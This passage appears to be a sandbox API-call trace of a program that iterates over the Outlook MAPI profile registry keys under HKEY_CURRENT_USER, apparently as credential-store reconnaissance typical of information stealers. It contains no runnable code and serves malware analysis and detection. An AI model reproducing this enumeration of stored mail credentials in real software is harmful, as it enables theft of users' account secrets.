[0079.718] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.718] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.718] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.718] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.718] lstrlenA (lpString="3517490d76624c419a828607e2a54604") returned 32 [0079.718] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.718] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.718] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="3517490d76624c419a828607e2a54604" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0079.718] LocalFree (hMem=0x66b738) returned 0x0 [0079.718] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned 122 [0079.718] lstrlenA (lpString="") returned 0 [0079.718] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.718] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0079.718] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0079.718] LocalFree (hMem=0x66b940) returned 0x0 [0079.718] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.718] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.718] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.718] LocalFree (hMem=0x66b738) returned 0x0 [0079.718] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x4, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="3c51f4951df2d34baef1a05b725728d2", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.718] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.718] lstrlenA (lpString="\\") returned 1 [0079.718] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.718] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.718] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.719] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.719] lstrlenA (lpString="3c51f4951df2d34baef1a05b725728d2") returned 32 [0079.719] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.719] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.719] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="3c51f4951df2d34baef1a05b725728d2" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2" [0079.719] LocalFree (hMem=0x66b738) returned 0x0 [0079.719] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2") returned 122 [0079.719] lstrlenA (lpString="") returned 0 [0079.719] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.719] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2" [0079.719] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2" [0079.719] LocalFree (hMem=0x66b940) returned 0x0 [0079.719] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3c51f4951df2d34baef1a05b725728d2", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.719] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.719] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.719] LocalFree (hMem=0x66b738) returned 0x0 [0079.719] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x5, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="42405d6c3502e64caa2aeda354771336", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.719] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.719] lstrlenA (lpString="\\") returned 1 [0079.719] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.719] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.719] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.719] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.719] lstrlenA (lpString="42405d6c3502e64caa2aeda354771336") returned 32 [0079.719] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.719] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.719] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="42405d6c3502e64caa2aeda354771336" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336" [0079.719] LocalFree (hMem=0x66b738) returned 0x0 [0079.719] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336") returned 122 [0079.719] lstrlenA (lpString="") returned 0 [0079.719] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.719] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336" [0079.719] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336" [0079.719] LocalFree (hMem=0x66b940) returned 0x0 [0079.719] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\42405d6c3502e64caa2aeda354771336", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.720] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.720] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.720] LocalFree (hMem=0x66b738) returned 0x0 [0079.720] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x6, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="5e8673e5f416694397a90d6dc37f5694", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.720] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.720] lstrlenA (lpString="\\") returned 1 [0079.720] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.720] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.720] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.720] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.720] lstrlenA (lpString="5e8673e5f416694397a90d6dc37f5694") returned 32 [0079.720] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.720] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.720] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="5e8673e5f416694397a90d6dc37f5694" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694" [0079.720] LocalFree (hMem=0x66b738) returned 0x0 [0079.720] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694") returned 122 [0079.720] lstrlenA (lpString="") returned 0 [0079.720] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.720] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694" [0079.720] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694" [0079.720] LocalFree (hMem=0x66b940) returned 0x0 [0079.720] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\5e8673e5f416694397a90d6dc37f5694", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.720] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.720] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.720] LocalFree (hMem=0x66b738) returned 0x0 [0079.720] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x7, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="600082486368c34683de3c06ff753b3b", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.720] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.720] lstrlenA (lpString="\\") returned 1 [0079.720] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.720] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.720] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.720] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.720] lstrlenA (lpString="600082486368c34683de3c06ff753b3b") returned 32 [0079.720] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.721] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.721] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="600082486368c34683de3c06ff753b3b" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b" [0079.721] LocalFree (hMem=0x66b738) returned 0x0 [0079.721] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b") returned 122 [0079.721] lstrlenA (lpString="") returned 0 [0079.721] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.721] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b" [0079.721] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b" [0079.721] LocalFree (hMem=0x66b940) returned 0x0 [0079.721] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\600082486368c34683de3c06ff753b3b", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.721] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.721] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.721] LocalFree (hMem=0x66b738) returned 0x0 [0079.721] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x8, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="6c393c97bf8f52408197f7e63b61e548", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.721] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.721] lstrlenA (lpString="\\") returned 1 [0079.721] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.721] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.721] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.721] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.721] lstrlenA (lpString="6c393c97bf8f52408197f7e63b61e548") returned 32 [0079.721] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.721] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.721] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="6c393c97bf8f52408197f7e63b61e548" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548" [0079.721] LocalFree (hMem=0x66b738) returned 0x0 [0079.721] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548") returned 122 [0079.721] lstrlenA (lpString="") returned 0 [0079.721] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.721] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548" [0079.721] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548" [0079.721] LocalFree (hMem=0x66b940) returned 0x0 [0079.721] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\6c393c97bf8f52408197f7e63b61e548", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.721] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.721] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.722] LocalFree (hMem=0x66b738) returned 0x0 [0079.722] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x9, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8503020000000000c000000000000046", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.722] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.722] lstrlenA (lpString="\\") returned 1 [0079.722] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.722] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging 